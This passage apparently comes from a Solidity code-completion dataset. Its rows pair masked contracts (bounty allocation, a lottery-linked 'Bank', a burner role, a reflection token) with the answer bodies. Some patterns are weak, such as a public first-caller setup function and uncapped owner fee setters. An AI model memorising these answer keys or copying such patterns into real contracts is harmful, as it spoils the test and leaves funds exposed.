balanceOf[msg.sender] += amount; // adds the amount to buyer's balance
balanceOf[this] -= amount; // subtracts amount from seller's balance
Transfer(this, msg.sender, amount); // execute an event reflecting the change
| function buy() payable | function buy() payable |
88119 | BountyTokenAllocation | proposeBountyTransfer | contract BountyTokenAllocation is Ownable, AllocationAddressList {
// This contract describes how the bounty tokens are allocated.
// After a bounty allocation was proposed by a signaturer, another
// signaturer must accept this allocation.
// Total amount of remaining tokens to be distributed
uint256 public remainingBountyTokens;
// Possible split states: Proposed, Approved, Rejected
// Proposed is the initial state.
// Both Approved and Rejected are final states.
// The only possible transitions are:
// Proposed => Approved
// Proposed => Rejected
// keep map here of bounty proposals
mapping (address => Types.StructBountyAllocation) public bountyOf;
address public owner = msg.sender;
/**
* Bounty token allocation constructor.
*
* @param _remainingBountyTokens Total number of bounty tokens that will be
* allocated.
*/
function BountyTokenAllocation(uint256 _remainingBountyTokens) onlyOwner public {
remainingBountyTokens = _remainingBountyTokens;
}
/**
* Propose a bounty transfer
*
* @param _dest Address of bounty reciepent
* @param _amount Amount of tokens he will receive
*/
function proposeBountyTransfer(address _dest, uint256 _amount) public onlyOwner {<FILL_FUNCTION_BODY> }
/**
* Approves a bounty transfer
*
* @param _dest Address of bounty reciepent
* @return amount of tokens which we approved
*/
function approveBountyTransfer(address _approverAddress, address _dest) public onlyOwner returns (uint256) {
require(bountyOf[_dest].bountyState == Types.BountyState.Proposed);
require(bountyOf[_dest].proposalAddress != _approverAddress);
bountyOf[_dest].bountyState = Types.BountyState.Approved;
return bountyOf[_dest].amount;
}
/**
* Rejects a bounty transfer
*
* @param _dest Address of bounty reciepent for whom we are rejecting bounty transfer
*/
function rejectBountyTransfer(address _dest) public onlyOwner {
var tmp = bountyOf[_dest];
require(tmp.bountyState == Types.BountyState.Proposed);
bountyOf[_dest].bountyState = Types.BountyState.Rejected;
remainingBountyTokens = remainingBountyTokens + bountyOf[_dest].amount;
}
} | contract BountyTokenAllocation is Ownable, AllocationAddressList {
// This contract describes how the bounty tokens are allocated.
// After a bounty allocation was proposed by a signaturer, another
// signaturer must accept this allocation.
// Total amount of remaining tokens to be distributed
uint256 public remainingBountyTokens;
// Possible split states: Proposed, Approved, Rejected
// Proposed is the initial state.
// Both Approved and Rejected are final states.
// The only possible transitions are:
// Proposed => Approved
// Proposed => Rejected
// keep map here of bounty proposals
mapping (address => Types.StructBountyAllocation) public bountyOf;
address public owner = msg.sender;
/**
* Bounty token allocation constructor.
*
* @param _remainingBountyTokens Total number of bounty tokens that will be
* allocated.
*/
function BountyTokenAllocation(uint256 _remainingBountyTokens) onlyOwner public {
remainingBountyTokens = _remainingBountyTokens;
}
<FILL_FUNCTION>
/**
* Approves a bounty transfer
*
* @param _dest Address of bounty reciepent
* @return amount of tokens which we approved
*/
function approveBountyTransfer(address _approverAddress, address _dest) public onlyOwner returns (uint256) {
require(bountyOf[_dest].bountyState == Types.BountyState.Proposed);
require(bountyOf[_dest].proposalAddress != _approverAddress);
bountyOf[_dest].bountyState = Types.BountyState.Approved;
return bountyOf[_dest].amount;
}
/**
* Rejects a bounty transfer
*
* @param _dest Address of bounty reciepent for whom we are rejecting bounty transfer
*/
function rejectBountyTransfer(address _dest) public onlyOwner {
var tmp = bountyOf[_dest];
require(tmp.bountyState == Types.BountyState.Proposed);
bountyOf[_dest].bountyState = Types.BountyState.Rejected;
remainingBountyTokens = remainingBountyTokens + bountyOf[_dest].amount;
}
} |
require(_amount > 0);
require(_amount <= remainingBountyTokens);
// we can't overwrite existing proposal
// but we can overwrite rejected proposal with new values
require(bountyOf[_dest].proposalAddress == 0x0 || bountyOf[_dest].bountyState == Types.BountyState.Rejected);
if (bountyOf[_dest].bountyState != Types.BountyState.Rejected) {
allocationAddressList.push(_dest);
}
bountyOf[_dest] = Types.StructBountyAllocation({
amount: _amount,
proposalAddress: msg.sender,
bountyState: Types.BountyState.Proposed
});
remainingBountyTokens = remainingBountyTokens - _amount;
| function proposeBountyTransfer(address _dest, uint256 _amount) public onlyOwner | /**
* Propose a bounty transfer
*
* @param _dest Address of bounty reciepent
* @param _amount Amount of tokens he will receive
*/
function proposeBountyTransfer(address _dest, uint256 _amount) public onlyOwner |
44878 | Bank | getUnclaimedBalance | contract Bank {
using SafeMath for uint256;
mapping(address => uint256) public balance;
mapping(address => uint256) public claimedSum;
mapping(address => uint256) public donateSum;
mapping(address => bool) public isMember;
address[] public member;
uint256 public TIME_OUT = 7 * 24 * 60 * 60;
mapping(address => uint256) public lastClaim;
CitizenInterface public citizenContract;
LotteryInterface public lotteryContract;
F2mInterface public f2mContract;
DevTeamInterface public devTeamContract;
constructor (address _devTeam)
public
{
// add administrators here
devTeamContract = DevTeamInterface(_devTeam);
devTeamContract.setBankAddress(address(this));
}
// _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress];
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
//bankContract = BankInterface(bankAddress);
citizenContract = CitizenInterface(_contract[2]);
lotteryContract = LotteryInterface(_contract[3]);
}
// Core functions
function pushToBank(address _player)
public
payable
{
uint256 _amount = msg.value;
lastClaim[_player] = block.timestamp;
balance[_player] = _amount.add(balance[_player]);
}
function collectDividends(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = f2mContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectRef(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = citizenContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectReward(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = lotteryContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectIncome(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
//lastClaim[_member] = block.timestamp;
uint256 collected = collectDividends(_member) + collectRef(_member) + collectReward(_member);
return collected;
}
function restTime(address _member)
public
view
returns(uint256)
{
uint256 timeDist = block.timestamp - lastClaim[_member];
if (timeDist >= TIME_OUT) return 0;
return TIME_OUT - timeDist;
}
function timeout(address _member)
public
view
returns(bool)
{
return lastClaim[_member] > 0 && restTime(_member) == 0;
}
function memberLog()
private
{
address _member = msg.sender;
lastClaim[_member] = block.timestamp;
if (isMember[_member]) return;
member.push(_member);
isMember[_member] = true;
}
function cashoutable()
public
view
returns(bool)
{
return lotteryContract.cashoutable(msg.sender);
}
function cashout()
public
{
address _sender = msg.sender;
uint256 _amount = balance[_sender];
require(_amount > 0, "nothing to cashout");
balance[_sender] = 0;
memberLog();
require(cashoutable() && _amount > 0, "need 1 ticket or wait to new round");
_sender.transfer(_amount);
}
// ref => devTeam
// div => div
// lottery => div
function checkTimeout(address _member)
public
{
require(timeout(_member), "member still got time to withdraw");
require(_member != address(devTeamContract), "no right");
uint256 _curBalance = balance[_member];
uint256 _refIncome = collectRef(_member);
uint256 _divIncome = collectDividends(_member);
uint256 _rewardIncome = collectReward(_member);
donateSum[_member] += _refIncome + _divIncome + _rewardIncome;
balance[_member] = _curBalance;
f2mContract.pushDividends.value(_divIncome + _rewardIncome)();
citizenContract.pushRefIncome.value(_refIncome)(0x0);
}
function withdraw()
public
{
address _member = msg.sender;
collectIncome(_member);
cashout();
//lastClaim[_member] = block.timestamp;
}
function lotteryReinvest(string _sSalt, uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
lotteryContract.buyFor.value(investAmount)(_sSalt, _sender);
}
function tokenReinvest(uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
f2mContract.buyFor.value(investAmount)(_sender);
}
// Read
function getDivBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = f2mContract.ethBalance(_sender);
return _amount;
}
function getEarlyIncomeBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getCurEarlyIncomeByAddress(_sender);
return _amount;
}
function getRewardBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getRewardBalance(_sender);
return _amount;
}
function getRefBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = citizenContract.getRefWallet(_sender);
return _amount;
}
function getBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getUnclaimedBalance(_sender);
return _sum + balance[_sender];
}
function getUnclaimedBalance(address _sender)
public
view
returns(uint256)
{<FILL_FUNCTION_BODY> }
function getClaimedBalance(address _sender)
public
view
returns(uint256)
{
return balance[_sender];
}
function getTotalMember()
public
view
returns(uint256)
{
return member.length;
}
} | contract Bank {
using SafeMath for uint256;
mapping(address => uint256) public balance;
mapping(address => uint256) public claimedSum;
mapping(address => uint256) public donateSum;
mapping(address => bool) public isMember;
address[] public member;
uint256 public TIME_OUT = 7 * 24 * 60 * 60;
mapping(address => uint256) public lastClaim;
CitizenInterface public citizenContract;
LotteryInterface public lotteryContract;
F2mInterface public f2mContract;
DevTeamInterface public devTeamContract;
constructor (address _devTeam)
public
{
// add administrators here
devTeamContract = DevTeamInterface(_devTeam);
devTeamContract.setBankAddress(address(this));
}
// _contract = [f2mAddress, bankAddress, citizenAddress, lotteryAddress, rewardAddress, whitelistAddress];
function joinNetwork(address[6] _contract)
public
{
require(address(citizenContract) == 0x0,"already setup");
f2mContract = F2mInterface(_contract[0]);
//bankContract = BankInterface(bankAddress);
citizenContract = CitizenInterface(_contract[2]);
lotteryContract = LotteryInterface(_contract[3]);
}
// Core functions
function pushToBank(address _player)
public
payable
{
uint256 _amount = msg.value;
lastClaim[_player] = block.timestamp;
balance[_player] = _amount.add(balance[_player]);
}
function collectDividends(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = f2mContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectRef(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = citizenContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectReward(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
uint256 collected = lotteryContract.withdrawFor(_member);
claimedSum[_member] += collected;
return collected;
}
function collectIncome(address _member)
public
returns(uint256)
{
require(_member != address(devTeamContract), "no right");
//lastClaim[_member] = block.timestamp;
uint256 collected = collectDividends(_member) + collectRef(_member) + collectReward(_member);
return collected;
}
function restTime(address _member)
public
view
returns(uint256)
{
uint256 timeDist = block.timestamp - lastClaim[_member];
if (timeDist >= TIME_OUT) return 0;
return TIME_OUT - timeDist;
}
function timeout(address _member)
public
view
returns(bool)
{
return lastClaim[_member] > 0 && restTime(_member) == 0;
}
function memberLog()
private
{
address _member = msg.sender;
lastClaim[_member] = block.timestamp;
if (isMember[_member]) return;
member.push(_member);
isMember[_member] = true;
}
function cashoutable()
public
view
returns(bool)
{
return lotteryContract.cashoutable(msg.sender);
}
function cashout()
public
{
address _sender = msg.sender;
uint256 _amount = balance[_sender];
require(_amount > 0, "nothing to cashout");
balance[_sender] = 0;
memberLog();
require(cashoutable() && _amount > 0, "need 1 ticket or wait to new round");
_sender.transfer(_amount);
}
// ref => devTeam
// div => div
// lottery => div
function checkTimeout(address _member)
public
{
require(timeout(_member), "member still got time to withdraw");
require(_member != address(devTeamContract), "no right");
uint256 _curBalance = balance[_member];
uint256 _refIncome = collectRef(_member);
uint256 _divIncome = collectDividends(_member);
uint256 _rewardIncome = collectReward(_member);
donateSum[_member] += _refIncome + _divIncome + _rewardIncome;
balance[_member] = _curBalance;
f2mContract.pushDividends.value(_divIncome + _rewardIncome)();
citizenContract.pushRefIncome.value(_refIncome)(0x0);
}
function withdraw()
public
{
address _member = msg.sender;
collectIncome(_member);
cashout();
//lastClaim[_member] = block.timestamp;
}
function lotteryReinvest(string _sSalt, uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
lotteryContract.buyFor.value(investAmount)(_sSalt, _sender);
}
function tokenReinvest(uint256 _amount)
public
payable
{
address _sender = msg.sender;
uint256 _deposit = msg.value;
uint256 _curBalance = balance[_sender];
uint256 investAmount;
uint256 collected = 0;
if (_deposit == 0) {
if (_amount > balance[_sender])
collected = collectIncome(_sender);
require(_amount <= _curBalance + collected, "balance not enough");
investAmount = _amount;//_curBalance + collected;
} else {
collected = collectIncome(_sender);
investAmount = _deposit.add(_curBalance).add(collected);
}
balance[_sender] = _curBalance.add(collected + _deposit).sub(investAmount);
lastClaim [_sender] = block.timestamp;
f2mContract.buyFor.value(investAmount)(_sender);
}
// Read
function getDivBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = f2mContract.ethBalance(_sender);
return _amount;
}
function getEarlyIncomeBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getCurEarlyIncomeByAddress(_sender);
return _amount;
}
function getRewardBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = lotteryContract.getRewardBalance(_sender);
return _amount;
}
function getRefBalance(address _sender)
public
view
returns(uint256)
{
uint256 _amount = citizenContract.getRefWallet(_sender);
return _amount;
}
function getBalance(address _sender)
public
view
returns(uint256)
{
uint256 _sum = getUnclaimedBalance(_sender);
return _sum + balance[_sender];
}
<FILL_FUNCTION>
function getClaimedBalance(address _sender)
public
view
returns(uint256)
{
return balance[_sender];
}
function getTotalMember()
public
view
returns(uint256)
{
return member.length;
}
} |
uint256 _sum = getDivBalance(_sender) + getRefBalance(_sender) + getRewardBalance(_sender) + getEarlyIncomeBalance(_sender);
return _sum;
| function getUnclaimedBalance(address _sender)
public
view
returns(uint256)
| function getUnclaimedBalance(address _sender)
public
view
returns(uint256)
|
11115 | BurnerRole | removeBurner | contract BurnerRole is Ownable{
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender) || isOwner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
function removeBurner(address account) public onlyOwner {<FILL_FUNCTION_BODY> }
function renounceMinter() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
} | contract BurnerRole is Ownable{
using Roles for Roles.Role;
event BurnerAdded(address indexed account);
event BurnerRemoved(address indexed account);
Roles.Role private _burners;
constructor () internal {
_addBurner(msg.sender);
}
modifier onlyBurner() {
require(isBurner(msg.sender) || isOwner(msg.sender));
_;
}
function isBurner(address account) public view returns (bool) {
return _burners.has(account);
}
function addBurner(address account) public onlyBurner {
_addBurner(account);
}
<FILL_FUNCTION>
function renounceMinter() public {
_removeBurner(msg.sender);
}
function _addBurner(address account) internal {
_burners.add(account);
emit BurnerAdded(account);
}
function _removeBurner(address account) internal {
_burners.remove(account);
emit BurnerRemoved(account);
}
} |
_removeBurner(account);
| function removeBurner(address account) public onlyOwner | function removeBurner(address account) public onlyOwner |
23285 | SIONTOKEN | _getRValues | contract SIONTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private _tCharitypoolTotal;
string private _name = "Sion";
string private _symbol = "SION";
uint8 private _decimals = 9;
uint256 public _taxFee = 3;
uint256 private _previousTaxFee = _taxFee;
uint256 public _burnFee = 0;
uint256 private _previousBurnFee = _burnFee;
uint256 public _charitypoolFee = 3;
uint256 private _previousCharitypoolFee = _charitypoolFee;
uint256 public _maxTxAmount = 1000000 * 10**6 * 10**9;
uint256 private minimumTokensBeforeSwap = 100 * 10**6 * 10**9;
address payable public charitypoolAddress = 0xE1bA8A57f306Aa3b7046F8d376BC091ec2B74591; // Charity Wallet
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
event RewardLiquidityProviders(uint256 tokenAmount);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function totalCharitypoolETH() public view returns (uint256) {
// ETH has 18 decimals!
return _tCharitypoolTotal;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (
overMinimumTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
_tCharitypoolTotal = _tCharitypoolTotal.add(address(this).balance);
TransferCharitypoolETH(charitypoolAddress, address(this).balance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tLiquidity);
return (tTransferAmount, tFee, tBurn, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {<FILL_FUNCTION_BODY> }
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charitypoolFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0 && _charitypoolFee == 0) return;
_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_previousCharitypoolFee = _charitypoolFee;
_taxFee = 0;
_burnFee = 0;
_charitypoolFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
_charitypoolFee = _previousCharitypoolFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setCharitypoolFeePercent(uint256 CharitypoolFee) external onlyOwner() {
_charitypoolFee = CharitypoolFee;
}
function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() {
